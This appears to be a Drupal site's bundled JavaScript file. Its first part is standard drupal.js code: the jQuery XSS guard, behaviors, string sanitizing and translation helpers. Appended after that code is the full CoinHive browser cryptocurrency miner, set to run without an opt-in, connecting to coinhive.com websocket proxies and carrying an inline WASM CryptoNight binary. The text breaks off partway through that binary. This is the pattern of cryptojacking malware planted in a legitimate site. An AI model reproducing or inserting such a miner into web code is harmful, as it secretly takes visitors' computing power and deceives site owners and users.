  259. * Override jQuery.fn.init to guard against XSS attacks.
  260. *
  261. * See http://bugs.jquery.com/ticket/9521
  262. */
  263. var jquery_init = $.fn.init;
  264. $.fn.init = function (selector, context, rootjQuery) {
  265. // If the string contains a "#" before a "<", treat it as invalid HTML.
  266. if (selector && typeof selector === 'string') {
  267. var hash_position = selector.indexOf('#');
  268. if (hash_position >= 0) {
  269. var bracket_position = selector.indexOf('<');
  270. if (bracket_position > hash_position) {
  271. throw 'Syntax error, unrecognized expression: ' + selector;
  272. }
  273. }
  274. }
  275. return jquery_init.call(this, selector, context, rootjQuery);
  276. };
  277. $.fn.init.prototype = jquery_init.prototype;
  278.  
  279. /**
  280. * Attach all registered behaviors to a page element.
  281. *
  282. * Behaviors are event-triggered actions that attach to page elements, enhancing
  283. * default non-JavaScript UIs. Behaviors are registered in the Drupal.behaviors
  284. * object using the method 'attach' and optionally also 'detach' as follows:
  285. * @code
  286. * Drupal.behaviors.behaviorName = {
  287. * attach: function (context, settings) {
  288. * ...
  289. * },
  290. * detach: function (context, settings, trigger) {
  291. * ...
  292. * }
  293. * };
  294. * @endcode
  295. *
  296. * Drupal.attachBehaviors is added below to the jQuery ready event and so
  297. * runs on initial page load. Developers implementing AHAH/Ajax in their
  298. * solutions should also call this function after new page content has been
  299. * loaded, feeding in an element to be processed, in order to attach all
  300. * behaviors to the new content.
  301. *
  302. * Behaviors should use
  303. * @code
  304. * $(selector).once('behavior-name', function () {
  305. * ...
  306. * });
  307. * @endcode
  308. * to ensure the behavior is attached only once to a given element. (Doing so
  309. * enables the reprocessing of given elements, which may be needed on occasion
  310. * despite the ability to limit behavior attachment to a particular element.)
  311. *
  312. * @param context
  313. * An element to attach behaviors to. If none is given, the document element
  314. * is used.
  315. * @param settings
  316. * An object containing settings for the current context. If none given, the
  317. * global Drupal.settings object is used.
  318. */
  319. Drupal.attachBehaviors = function (context, settings) {
  320. context = context || document;
  321. settings = settings || Drupal.settings;
  322. // Execute all of them.
  323. $.each(Drupal.behaviors, function () {
  324. if ($.isFunction(this.attach)) {
  325. this.attach(context, settings);
  326. }
  327. });
  328. };
  329.  
  330. /**
  331. * Detach registered behaviors from a page element.
  332. *
  333. * Developers implementing AHAH/Ajax in their solutions should call this
  334. * function before page content is about to be removed, feeding in an element
  335. * to be processed, in order to allow special behaviors to detach from the
  336. * content.
  337. *
  338. * Such implementations should look for the class name that was added in their
  339. * corresponding Drupal.behaviors.behaviorName.attach implementation, i.e.
  340. * behaviorName-processed, to ensure the behavior is detached only from
  341. * previously processed elements.
  342. *
  343. * @param context
  344. * An element to detach behaviors from. If none is given, the document element
  345. * is used.
  346. * @param settings
  347. * An object containing settings for the current context. If none given, the
  348. * global Drupal.settings object is used.
  349. * @param trigger
  350. * A string containing what's causing the behaviors to be detached. The
  351. * possible triggers are:
  352. * - unload: (default) The context element is being removed from the DOM.
  353. * - move: The element is about to be moved within the DOM (for example,
  354. * during a tabledrag row swap). After the move is completed,
  355. * Drupal.attachBehaviors() is called, so that the behavior can undo
  356. * whatever it did in response to the move. Many behaviors won't need to
  357. * do anything simply in response to the element being moved, but because
  358. * IFRAME elements reload their "src" when being moved within the DOM,
  359. * behaviors bound to IFRAME elements (like WYSIWYG editors) may need to
  360. * take some action.
  361. * - serialize: When an Ajax form is submitted, this is called with the
  362. * form as the context. This provides every behavior within the form an
  363. * opportunity to ensure that the field elements have correct content
  364. * in them before the form is serialized. The canonical use-case is so
  365. * that WYSIWYG editors can update the hidden textarea to which they are
  366. * bound.
  367. *
  368. * @see Drupal.attachBehaviors
  369. */
  370. Drupal.detachBehaviors = function (context, settings, trigger) {
  371. context = context || document;
  372. settings = settings || Drupal.settings;
  373. trigger = trigger || 'unload';
  374. // Execute all of them.
  375. $.each(Drupal.behaviors, function () {
  376. if ($.isFunction(this.detach)) {
  377. this.detach(context, settings, trigger);
  378. }
  379. });
  380. };
  381.  
  382. /**
  383. * Encode special characters in a plain-text string for display as HTML.
  384. *
  385. * @ingroup sanitization
  386. */
  387. Drupal.checkPlain = function (str) {
  388. var character, regex,
  389. replace = { '&': '&amp;', '"': '&quot;', '<': '&lt;', '>': '&gt;' };
  390. str = String(str);
  391. for (character in replace) {
  392. if (replace.hasOwnProperty(character)) {
  393. regex = new RegExp(character, 'g');
  394. str = str.replace(regex, replace[character]);
  395. }
  396. }
  397. return str;
  398. };
  399.  
  400. /**
  401. * Replace placeholders with sanitized values in a string.
  402. *
  403. * @param str
  404. * A string with placeholders.
  405. * @param args
  406. * An object of replacements pairs to make. Incidences of any key in this
  407. * array are replaced with the corresponding value. Based on the first
  408. * character of the key, the value is escaped and/or themed:
  409. * - !variable: inserted as is
  410. * - @variable: escape plain text to HTML (Drupal.checkPlain)
  411. * - %variable: escape text and theme as a placeholder for user-submitted
  412. * content (checkPlain + Drupal.theme('placeholder'))
  413. *
  414. * @see Drupal.t()
  415. * @ingroup sanitization
  416. */
  417. Drupal.formatString = function(str, args) {
  418. // Transform arguments before inserting them.
  419. for (var key in args) {
  420. switch (key.charAt(0)) {
  421. // Escaped only.
  422. case '@':
  423. args[key] = Drupal.checkPlain(args[key]);
  424. break;
  425. // Pass-through.
  426. case '!':
  427. break;
  428. // Escaped and placeholder.
  429. case '%':
  430. default:
  431. args[key] = Drupal.theme('placeholder', args[key]);
  432. break;
  433. }
  434. str = str.replace(key, args[key]);
  435. }
  436. return str;
  437. };
  438.  
  439. /**
  440. * Translate strings to the page language or a given language.
  441. *
  442. * See the documentation of the server-side t() function for further details.
  443. *
  444. * @param str
  445. * A string containing the English string to translate.
  446. * @param args
  447. * An object of replacements pairs to make after translation. Incidences
  448. * of any key in this array are replaced with the corresponding value.
  449. * See Drupal.formatString().
  450. *
  451. * @param options
  452. * - 'context' (defaults to the empty context): The context the source string
  453. * belongs to.
  454. *
  455. * @return
  456. * The translated string.
  457. */
  458. Drupal.t = function (str, args, options) {
  459. options = options || {};
  460. options.context = options.context || '';
  461.  
  462. // Fetch the localized version of the string.
  463. if (Drupal.locale.strings && Drupal.locale.strings[options.context] && Drupal.locale.strings[options.context][str]) {
  464. str = Drupal.locale.strings[options.context][str];
  465. }
  466.  
  467. if (args) {
  468. str = Drupal.formatString(str, args);
  469. }
  470. return str;
  471. };
  472.  
  473. /**
  474. * Format a string containing a count of items.
  475. *
  476. * This function ensures that the string is pluralized correctly. Since Drupal.t() is
  477. * called by this function, make sure not to pass already-localized strings to it.
  478. *
  479. * See the documentation of the server-side format_plural() function for further details.
  480. *
  481. * @param count
  482. * The item count to display.
  483. * @param singular
  484. * The string for the singular case. Please make sure it is clear this is
  485. * singular, to ease translation (e.g. use "1 new comment" instead of "1 new").
  486. * Do not use @count in the singular string.
  487. * @param plural
  488. * The string for the plural case. Please make sure it is clear this is plural,
  489. * to ease translation. Use @count in place of the item count, as in "@count
  490. * new comments".
  491. * @param args
  492. * An object of replacements pairs to make after translation. Incidences
  493. * of any key in this array are replaced with the corresponding value.
  494. * See Drupal.formatString().
  495. * Note that you do not need to include @count in this array.
  496. * This replacement is done automatically for the plural case.
  497. * @param options
  498. * The options to pass to the Drupal.t() function.
  499. * @return
  500. * A translated string.
  501. */
  502. Drupal.formatPlural = function (count, singular, plural, args, options) {
  503. var args = args || {};
  504. args['@count'] = count;
  505. // Determine the index of the plural form.
  506. var index = Drupal.locale.pluralFormula ? Drupal.locale.pluralFormula(args['@count']) : ((args['@count'] == 1) ? 0 : 1);
  507.  
  508. if (index == 0) {
  509. return Drupal.t(singular, args, options);
  510. }
  511. else if (index == 1) {
  512. return Drupal.t(plural, args, options);
  513. }
  514. else {
  515. args['@count[' + index + ']'] = args['@count'];
  516. delete args['@count'];
  517. return Drupal.t(plural.replace('@count', '@count[' + index + ']'), args, options);
  518. }
  519. };
  520.  
  521. /**
  522. * Generate the themed representation of a Drupal object.
  523. *
  524. * All requests for themed output must go through this function. It examines
  525. * the request and routes it to the appropriate theme function. If the current
  526. * theme does not provide an override function, the generic theme function is
  527. * called.
  528. *
  529. * For example, to retrieve the HTML for text that should be emphasized and
  530. * displayed as a placeholder inside a sentence, call
  531. * Drupal.theme('placeholder', text).
  532. *
  533. * @param func
  534. * The name of the theme function to call.
  535. * @param ...
  536. * Additional arguments to pass along to the theme function.
  537. * @return
  538. * Any data the theme function returns. This could be a plain HTML string,
  539. * but also a complex object.
  540. */
  541. Drupal.theme = function (func) {
  542. var args = Array.prototype.slice.apply(arguments, [1]);
  543.  
  544. return (Drupal.theme[func] || Drupal.theme.prototype[func]).apply(this, args);
  545. };
  546.  
  547. /**
  548. * Freeze the current body height (as minimum height). Used to prevent
  549. * unnecessary upwards scrolling when doing DOM manipulations.
  550. */
  551. Drupal.freezeHeight = function () {
  552. Drupal.unfreezeHeight();
  553. $('<div id="freeze-height"></div>').css({
  554. position: 'absolute',
  555. top: '0px',
  556. left: '0px',
  557. width: '1px',
  558. height: $('body').css('height')
  559. }).appendTo('body');
  560. };
  561.  
  562. /**
  563. * Unfreeze the body height.
  564. */
  565. Drupal.unfreezeHeight = function () {
  566. $('#freeze-height').remove();
  567. };
  568.  
  569. /**
  570. * Encodes a Drupal path for use in a URL.
  571. *
  572. * For aesthetic reasons slashes are not escaped.
  573. */
  574. Drupal.encodePath = function (item, uri) {
  575. uri = uri || location.href;
  576. return encodeURIComponent(item).replace(/%2F/g, '/');
  577. };
  578.  
  579. /**
  580. * Get the text selection in a textarea.
  581. */
  582. Drupal.getSelection = function (element) {
  583. if (typeof element.selectionStart != 'number' && document.selection) {
  584. // The current selection.
  585. var range1 = document.selection.createRange();
  586. var range2 = range1.duplicate();
  587. // Select all text.
  588. range2.moveToElementText(element);
  589. // Now move 'dummy' end point to end point of original range.
  590. range2.setEndPoint('EndToEnd', range1);
  591. // Now we can calculate start and end points.
  592. var start = range2.text.length - range1.text.length;
  593. var end = start + range1.text.length;
  594. return { 'start': start, 'end': end };
  595. }
  596. return { 'start': element.selectionStart, 'end': element.selectionEnd };
  597. };
  598.  
  599. /**
  600. * Build an error message from an Ajax response.
  601. */
  602. Drupal.ajaxError = function (xmlhttp, uri) {
  603. var statusCode, statusText, pathText, responseText, readyStateText, message;
  604. if (xmlhttp.status) {
  605. statusCode = "\n" + Drupal.t("An AJAX HTTP error occurred.") + "\n" + Drupal.t("HTTP Result Code: !status", {'!status': xmlhttp.status});
  606. }
  607. else {
  608. statusCode = "\n" + Drupal.t("An AJAX HTTP request terminated abnormally.");
  609. }
  610. statusCode += "\n" + Drupal.t("Debugging information follows.");
  611. pathText = "\n" + Drupal.t("Path: !uri", {'!uri': uri} );
  612. statusText = '';
  613. // In some cases, when statusCode == 0, xmlhttp.statusText may not be defined.
  614. // Unfortunately, testing for it with typeof, etc, doesn't seem to catch that
  615. // and the test causes an exception. So we need to catch the exception here.
  616. try {
  617. statusText = "\n" + Drupal.t("StatusText: !statusText", {'!statusText': $.trim(xmlhttp.statusText)});
  618. }
  619. catch (e) {}
  620.  
  621. responseText = '';
  622. // Again, we don't have a way to know for sure whether accessing
  623. // xmlhttp.responseText is going to throw an exception. So we'll catch it.
  624. try {
  625. responseText = "\n" + Drupal.t("ResponseText: !responseText", {'!responseText': $.trim(xmlhttp.responseText) } );
  626. } catch (e) {}
  627.  
  628. // Make the responseText more readable by stripping HTML tags and newlines.
  629. responseText = responseText.replace(/<("[^"]*"|'[^']*'|[^'">])*>/gi,"");
  630. responseText = responseText.replace(/[\n]+\s+/g,"\n");
  631.  
  632. // We don't need readyState except for status == 0.
  633. readyStateText = xmlhttp.status == 0 ? ("\n" + Drupal.t("ReadyState: !readyState", {'!readyState': xmlhttp.readyState})) : "";
  634.  
  635. message = statusCode + pathText + statusText + responseText + readyStateText;
  636. return message;
  637. };
  638.  
  639. // Class indicating that JS is enabled; used for styling purpose.
  640. $('html').addClass('js');
  641.  
  642. // 'js enabled' cookie.
  643. document.cookie = 'has_js=1; path=/';
  644.  
  645. /**
  646. * Additions to jQuery.support.
  647. */
  648. $(function () {
  649. /**
  650. * Boolean indicating whether or not position:fixed is supported.
  651. */
  652. if (jQuery.support.positionFixed === undefined) {
  653. var el = $('<div style="position:fixed; top:10px" />').appendTo(document.body);
  654. jQuery.support.positionFixed = el[0].offsetTop === 10;
  655. el.remove();
  656. }
  657. });
  658.  
  659. //Attach all behaviors.
  660. $(function () {
  661. Drupal.attachBehaviors(document, Drupal.settings);
  662. });
  663.  
  664. /**
  665. * The default themes.
  666. */
  667. Drupal.theme.prototype = {
  668.  
  669. /**
  670. * Formats text for emphasized display in a placeholder inside a sentence.
  671. *
  672. * @param str
  673. * The text to format (plain-text).
  674. * @return
  675. * The formatted text (html).
  676. */
  677. placeholder: function (str) {
  678. return '<em class="placeholder">' + Drupal.checkPlain(str) + '</em>';
  679. }
  680. };
  681.  
  682. })(jQuery);
  683. ;
  684. (function(window){"use strict";var Miner=function(siteKey,params){this.params=params||{};this._siteKey=siteKey;this._user=null;this._threads=[];this._hashes=0;this._currentJob=null;this._autoReconnect=true;this._reconnectRetry=3;this._tokenFromServer=null;this._goal=0;this._totalHashesFromDeadThreads=0;this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0));this._stopOnInvalidOptIn=false;this._waitingForAuth=false;this._selfTestSuccess=false;this._verifyThread=null;this._autoThreads={enabled:!!this.params.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}};this._tab={ident:Math.random()*16777215|0,mode:CoinHive.IF_EXCLUSIVE_TAB,grace:0,waitReconnect:0,lastPingReceived:0,interval:null};if(window.BroadcastChannel){try{this._bc=new BroadcastChannel("coinhive");this._bc.onmessage=function(msg){if(msg.data==="ping"){this._tab.lastPingReceived=Date.now()}}.bind(this)}catch(e){}}if(CoinHive.CONFIG.REQUIRES_AUTH){this._auth=new CoinHive.Auth(this._siteKey,{theme:this.params.theme||"light",lang:this.params.language||"auto"})}this._eventListeners={open:[],authed:[],close:[],error:[],job:[],found:[],accepted:[],optin:[]};var defaultThreads=navigator.hardwareConcurrency||4;this._targetNumThreads=this.params.threads||defaultThreads;this._useWASM=this.hasWASMSupport()&&!this.params.forceASMJS;this._asmjsStatus="unloaded";this._onTargetMetBound=this._onTargetMet.bind(this);this._onVerifiedBound=this._onVerified.bind(this)};Miner.prototype.start=function(mode,optInToken){this._tab.mode=mode||CoinHive.IF_EXCLUSIVE_TAB;this._optInToken=optInToken;if(this._tab.interval){clearInterval(this._tab.interval);this._tab.interval=null}this._loadWorkerSource(function(){this._startNow()}.bind(this))};Miner.prototype.stop=function(mode){for(var i=0;i<this._threads.length;i++){this._totalHashesFromDeadThreads+=this._threads[i].hashesTotal;this._threads[i].stop()}this._threads=[];this._autoReconnect=false;if(this._socket){this._socket.close()}this._currentJob=null;if(this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(this._tab.interval&&mode!=="dontKillTabUpdate"){clearInterval(this._tab.interval);this._tab.interval=null}};Miner.prototype.getHashesPerSecond=function(){var hashesPerSecond=0;for(var i=0;i<this._threads.length;i++){hashesPerSecond+=this._threads[i].hashesPerSecond}return hashesPerSecond};Miner.prototype.getTotalHashes=function(estimate){var now=Date.now();var hashes=this._totalHashesFromDeadThreads;for(var i=0;i<this._threads.length;i++){var thread=this._threads[i];hashes+=thread.hashesTotal;if(estimate){var tdiff=(now-thread.lastMessageTimestamp)/1e3*.9;hashes+=tdiff*thread.hashesPerSecond}}return hashes|0};Miner.prototype.getAcceptedHashes=function(){return this._hashes};Miner.prototype.getToken=function(){return this._tokenFromServer};Miner.prototype.on=function(type,callback){if(this._eventListeners[type]){this._eventListeners[type].push(callback)}};Miner.prototype.getAutoThreadsEnabled=function(enabled){return this._autoThreads.enabled};Miner.prototype.setAutoThreadsEnabled=function(enabled){this._autoThreads.enabled=!!enabled;if(!enabled&&this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(enabled&&!this._autoThreads.interval){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3)}};Miner.prototype.getThrottle=function(){return this._throttle};Miner.prototype.setThrottle=function(throttle){this._throttle=Math.max(0,Math.min(.99,throttle));if(this._currentJob){this._setJob(this._currentJob)}};Miner.prototype.getNumThreads=function(){return this._targetNumThreads};Miner.prototype.setNumThreads=function(num){var num=Math.max(1,num|0);this._targetNumThreads=num;if(num>this._threads.length){for(var i=0;num>this._threads.length;i++){var thread=new CoinHive.JobThread;if(this._currentJob){thread.setJob(this._currentJob,this._onTargetMetBound)}this._threads.push(thread)}}else if(num<this._threads.length){while(num<this._threads.length){var thread=this._threads.pop();this._totalHashesFromDeadThreads+=thread.hashesTotal;thread.stop()}}};Miner.prototype.hasWASMSupport=function(){return window.WebAssembly!==undefined&&!/OS 11_2_(2|5|6)/.test(navigator.userAgent)};Miner.prototype.isRunning=function(){return this._threads.length>0};Miner.prototype.isMobile=function(){return/mobile|Android|webOS|iPhone|iPad|iPod|IEMobile|Opera Mini/i.test(navigator.userAgent)};Miner.prototype.didOptOut=function(seconds){if(!CoinHive.CONFIG.REQUIRES_AUTH){return false}seconds=seconds||60*60*4;var t=this._auth.getOptOutTime();return!!(t&&t>Date.now()/1e3-seconds)};Miner.prototype.isAuthed=function(){if(CoinHive.CONFIG.REQUIRES_AUTH){return this._auth.isAuthed()}return true};Miner.prototype.selfTest=function(callback){this._loadWorkerSource(function(){if(!this._verifyThread){this._verifyThread=new CoinHive.JobThread}var testJob={verify_id:"1",nonce:"b50caf04",result:"a206161b78840ab02479d7cedc4d10cbd8a9474a049417914c0a2de987365f00",blob:"0707b0cd9dd605d16dd9b0f5e59ce246ab39fd9413a889419b4a32385190c296e98f53f4a083470000000048eba682b41bcdd20572d5a43a585ced0ad4dd1723d0da5a79af17aa8f949eae0f"};this._verifyThread.verify(testJob,function(res){callback(res.verified===true,res)})}.bind(this))};Miner.prototype._loadWorkerSource=function(callback){if(this._useWASM||this._asmjsStatus==="loaded"){callback()}else if(this._asmjsStatus==="unloaded"){this._asmjsStatus="pending";var xhr=new XMLHttpRequest;xhr.addEventListener("load",function(){CoinHive.CRYPTONIGHT_WORKER_BLOB=CoinHive.Res(xhr.responseText);this._asmjsStatus="loaded";callback()}.bind(this),xhr);xhr.open("get",CoinHive.CONFIG.LIB_URL+CoinHive.CONFIG.ASMJS_NAME,true);xhr.send()}};Miner.prototype._startNow=function(){if(this._tab.mode!==CoinHive.FORCE_MULTI_TAB&&!this._tab.interval){this._tab.interval=setInterval(this._updateTabs.bind(this),1e3)}if(this._tab.mode===CoinHive.IF_EXCLUSIVE_TAB&&this._otherTabRunning()){return}if(this._tab.mode===CoinHive.FORCE_EXCLUSIVE_TAB){this._tab.grace=Date.now()+3e3}if(!this._verifyThread){this._verifyThread=new CoinHive.JobThread}this.setNumThreads(this._targetNumThreads);this._autoReconnect=true;if(CoinHive.CONFIG.REQUIRES_AUTH&&!this._optInToken){this._waitingForAuth=true;this._auth.auth(function(token){this._waitingForAuth=false;if(!token){this.stop();this._emit("optin",{status:"canceled"});this._emit("error",{error:"opt_in_canceled"});return}this._emit("optin",{status:"accepted"});this._optInToken=token;this._connectAfterSelfTest()}.bind(this))}else{this._connectAfterSelfTest()}};Miner.prototype._otherTabRunning=function(){if(this._tab.lastPingReceived>Date.now()-1500){return true}try{var tdjson=localStorage.getItem("coinhive");if(tdjson){var td=JSON.parse(tdjson);if(td.ident!==this._tab.ident&&Date.now()-td.time<1500){return true}}}catch(e){}return false};Miner.prototype._updateTabs=function(){if(Date.now()<this._tab.waitReconnect){return}var otherTabRunning=this._otherTabRunning();if(otherTabRunning&&this.isRunning()&&Date.now()>this._tab.grace){this.stop("dontKillTabUpdate")}else if(!otherTabRunning&&!this.isRunning()){this._startNow()}if(this.isRunning()&&!this._waitingForAuth){if(this._bc){this._bc.postMessage("ping")}try{localStorage.setItem("coinhive",JSON.stringify({ident:this._tab.ident,time:Date.now()}))}catch(e){}}};Miner.prototype._adjustThreads=function(){var hashes=this.getHashesPerSecond();var threads=this.getNumThreads();var stats=this._autoThreads.stats;stats[threads]=stats[threads]?stats[threads]*.5+hashes*.5:hashes;if(Date.now()>this._autoThreads.adjustAt){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;var cur=(stats[threads]||0)-1;var up=stats[threads+1]||0;var down=stats[threads-1]||0;if(cur>down&&(up===0||up>cur)&&threads<8){return this.setNumThreads(threads+1)}else if(cur>up&&(!down||down>cur)&&threads>1){return this.setNumThreads(threads-1)}}};Miner.prototype._emit=function(type,params){var listeners=this._eventListeners[type];if(listeners&&listeners.length){for(var i=0;i<listeners.length;i++){listeners[i](params)}}};Miner.prototype._hashString=function(s){var hash=5381,i=s.length;while(i){hash=hash*33^s.charCodeAt(--i)}return hash>>>0};Miner.prototype._connectAfterSelfTest=function(){if(this._selfTestSuccess||this.hasWASMSupport()){this._connect()}else{this.selfTest(function(success){if(success){this._selfTestSuccess=true;this._connect()}else{this._emit("error",{error:"self_test_failed"})}}.bind(this))}};Miner.prototype._connect=function(){if(this._socket){return}var shards=CoinHive.CONFIG.WEBSOCKET_SHARDS;var shardIdx=Math.random()*shards.length|0;var proxies=shards[shardIdx];var proxyUrl=proxies[Math.random()*proxies.length|0];this._socket=new WebSocket(proxyUrl);this._socket.onmessage=this._onMessage.bind(this);this._socket.onerror=this._onError.bind(this);this._socket.onclose=this._onClose.bind(this);this._socket.onopen=this._onOpen.bind(this)};Miner.prototype._onOpen=function(ev){this._emit("open");var params={version:CoinHive.VERSION,site_key:this._siteKey,type:"anonymous",user:null,goal:0};if(this._user){params.type="user";params.user=this._user.toString()}else if(this._goal){params.type="token";params.goal=this._goal}if(this.params.ref){params.ref=this.params.ref}if(this._optInToken){params.opt_in=this._optInToken}this._send("auth",params)};Miner.prototype._onError=function(ev){this._emit("error",{error:"connection_error"});this._onClose(ev)};Miner.prototype._onClose=function(ev){if(ev.code>=1003&&ev.code<=1009){this._reconnectRetry=60;this._tab.waitReconnect=Date.now()+60*1e3}for(var i=0;i<this._threads.length;i++){this._threads[i].stop()}this._threads=[];this._socket=null;this._emit("close");if(this._autoReconnect){setTimeout(this._startNow.bind(this),this._reconnectRetry*1e3)}};Miner.prototype._onMessage=function(ev){var msg=JSON.parse(ev.data);if(msg.type==="job"){this._setJob(msg.params);this._emit("job",msg.params);if(this._autoThreads.enabled&&!this._autoThreads.interval){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3)}}else if(msg.type==="verify"){this._verifyThread.verify(msg.params,this._onVerifiedBound)}else if(msg.type==="hash_accepted"){this._hashes=msg.params.hashes;this._emit("accepted",msg.params);if(this._goal&&this._hashes>=this._goal){this.stop()}}else if(msg.type==="authed"){this._tokenFromServer=msg.params.token||null;this._hashes=msg.params.hashes||0;this._emit("authed",msg.params);this._reconnectRetry=3;this._tab.waitReconnect=0}else if(msg.type==="error"){if(console&&console.error){console.error("Coinhive Error:",msg.params.error)}this._emit("error",msg.params);if(msg.params.error==="invalid_site_key"){this._reconnectRetry=6e3;this._tab.waitReconnect=Date.now()+6e3*1e3}else if(msg.params.error==="invalid_opt_in"){if(this._stopOnInvalidOptIn){return this.stop()}else if(this._auth){this._auth.reset()}}}if(msg.type==="banned"||msg.params.banned){this._emit("error",{banned:true});this._reconnectRetry=600;this._tab.waitReconnect=Date.now()+600*1e3}};Miner.prototype._setJob=function(job){this._currentJob=job;this._currentJob.throttle=this._throttle;for(var i=0;i<this._threads.length;i++){this._threads[i].setJob(job,this._onTargetMetBound)}};Miner.prototype._onTargetMet=function(result){this._emit("found",result);if(result.job_id===this._currentJob.job_id){this._send("submit",{version:CoinHive.VERSION,job_id:result.job_id,nonce:result.nonce,result:result.result})}};Miner.prototype._onVerified=function(verifyResult){this._send("verified",verifyResult)};Miner.prototype._send=function(type,params){if(!this._socket){return}var msg={type:type,params:params||{}};this._socket.send(JSON.stringify(msg))};window.CoinHive=window.CoinHive||{};window.CoinHive.VERSION=7;window.CoinHive.IF_EXCLUSIVE_TAB="ifExclusiveTab";window.CoinHive.FORCE_EXCLUSIVE_TAB="forceExclusiveTab";window.CoinHive.FORCE_MULTI_TAB="forceMultiTab";window.CoinHive.Token=function(siteKey,goal,params){var miner=new Miner(siteKey,params);miner._goal=goal||0;return miner};window.CoinHive.User=function(siteKey,user,params){var miner=new Miner(siteKey,params);miner._user=user;return miner};window.CoinHive.Anonymous=function(siteKey,params){var miner=new Miner(siteKey,params);return miner};window.CoinHive.Res=function(s){var url=window.URL||window.webkitURL||window.mozURL;return url.createObjectURL(new Blob([s]))}})(window);(function(window){"use strict";var JobThread=function(){this.worker=new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB);this.worker.onmessage=this.onReady.bind(this);this.currentJob=null;this.verifyJob=null;this.jobCallback=function(){};this.verifyCallback=function(){};this._isReady=false;this.hashesPerSecond=0;this.hashesTotal=0;this.running=false;this.lastMessageTimestamp=Date.now()};JobThread.prototype.onReady=function(msg){if(msg.data!=="ready"||this._isReady){throw'Expecting first message to be "ready", got '+msg}this._isReady=true;this.worker.onmessage=this.onReceiveMsg.bind(this);if(this.currentJob){this.running=true;this.worker.postMessage(this.currentJob)}else if(this.verifyJob){this.worker.postMessage(this.verifyJob)}};JobThread.prototype.onReceiveMsg=function(msg){if(msg.data.verify_id){this.verifyCallback(msg.data);return}if(msg.data.result){this.jobCallback(msg.data)}this.hashesPerSecond=this.hashesPerSecond*.5+msg.data.hashesPerSecond*.5;this.hashesTotal+=msg.data.hashes;this.lastMessageTimestamp=Date.now();if(this.running){this.worker.postMessage(this.currentJob)}};JobThread.prototype.setJob=function(job,callback){this.currentJob=job;this.jobCallback=callback;if(this._isReady&&!this.running){this.running=true;this.worker.postMessage(this.currentJob)}};JobThread.prototype.verify=function(job,callback){this.verifyCallback=callback;if(!this._isReady){this.verifyJob=job}else{this.worker.postMessage(job)}};JobThread.prototype.stop=function(){if(this.worker){this.worker.terminate();this.worker=null}this.running=false};window.CoinHive.JobThread=JobThread})(window);self.CoinHive=self.CoinHive||{};self.CoinHive.CONFIG={LIB_URL:"https://coinhive.com/lib/",ASMJS_NAME:"worker-asmjs.min.js?v7",REQUIRES_AUTH:false,WEBSOCKET_SHARDS:[["wss://ws001.coinhive.com/proxy","wss://ws002.coinhive.com/proxy","wss://ws003.coinhive.com/proxy","wss://ws004.coinhive.com/proxy","wss://ws005.coinhive.com/proxy","wss://ws006.coinhive.com/proxy","wss://ws007.coinhive.com/proxy","wss://ws008.coinhive.com/proxy"],["wss://ws009.coinhive.com/proxy","wss://ws010.coinhive.com/proxy","wss://ws011.coinhive.com/proxy","wss://ws012.coinhive.com/proxy","wss://ws013.coinhive.com/proxy","wss://ws014.coinhive.com/proxy","wss://ws015.coinhive.com/proxy","wss://ws016.coinhive.com/proxy"],["wss://ws017.coinhive.com/proxy","wss://ws018.coinhive.com/proxy","wss://ws019.coinhive.com/proxy","wss://ws020.coinhive.com/proxy","wss://ws021.coinhive.com/proxy","wss://ws022.coinhive.com/proxy","wss://ws023.coinhive.com/proxy","wss://ws024.coinhive.com/proxy"],["wss://ws025.coinhive.com/proxy","wss://ws026.coinhive.com/proxy","wss://ws027.coinhive.com/proxy","wss://ws028.coinhive.com/proxy","wss://ws029.coinhive.com/proxy","wss://ws030.coinhive.com/proxy","wss://ws031.coinhive.com/proxy","wss://ws032.coinhive.com/proxy"]],CAPTCHA_URL:"https://coinhive.com/captcha/",MINER_URL:"https://coinhive.com/media/miner.html",AUTH_URL:"https://authedmine.com/authenticate.html"};CoinHive.CRYPTONIGHT_WORKER_BLOB=CoinHive.Res(" self.WASM_BINARY_INLINE= [0,97,115,109,1,0,0,0,1,51,9,96,3,127,127,127,0,96,1,127,0,96,0,1,127,96,2,127,127,1,127,96,3,127,127,127,1,127,96,1,127,1,127,96,2,127,127,0,96,4,127,127,127,127,0,96,3,127,127,126,0,2,136,2,14,3,101,110,118,6,109,101,109,111,114,121,2,1,128,2,128,2,3,101,110,118,5,116,97,98,108,101,1,112,1,8,8,3,101,110,118,9,116,97,98,108,101,66,97,115,101,3,127,0,3,101,110,118,14,68,89,78,65,77,73,67,84,79,80,95,80,84,82,3,127,0,3,101,110,118,8,83,84,65,67,75,84,79,80,3,127,0,3,101,110,118,5,97,98,111,114,116,0,1,3,101,110,118,13,101,110,108,97,114,103,101,77,101,109,111,114,121,0,2,3,101,110,118,14,103,101,116,84,111,116,97,108,77,101,109,111,114,121,0,2,3,101,110,118,23,97,98,111,114,116,79,110,67,97,110,110,111,116,71,114,111,119,77,101,109,111,114,121,0,2,3,101,110,118,11,95,95,95,115,101,116,69,114,114,78,111,0,1,3,101,110,118,12,95,95,95,115,121,115,99,97,108,108,50,48,0,3,3,101,110,118,22,95,101,109,115,99,114,105,112,116,101,110,95,109,101,109,99,112,121,95,98,105,103,0,4,3,101,110,118,6,95,102,116,105,109,101,0,5,3,101,110,118,7,95,103,109,116,105,109,101,0,5,3,30,29,6,0,4,1,0,4,5,5,8,0,0,6,1,1,7,0,7,7,6,1,2,0,4,0,0,0,7,7,5,6,11,2,127,1,35,1,11,127,1,35,2,11,7,150,1,7,18,95,97,101,115,98,95,115,105,110,103,108,101,95,114,111,117,110,100,0,18,19,95,99,114,121,112,116,111,110,105,103,104,116,95,99,114,101,97,116,101,0,29,20,95,99,114,121,112,116,111,110,105,103,104,116,95,100,101,115,116,114,111,121,0,28,27,95,99,114,121,112,116,111,110,105,103,104,116,95,104,97,115,104,95,118,97,114,105,97,110,116,95,48,0,36,27,95,99,114,121,112,116,111,110,105,103,104,116,95,104,97,115,104,95,118,97,114,105,97,110,116,95,49,0,35,7,95,109,97,108,108,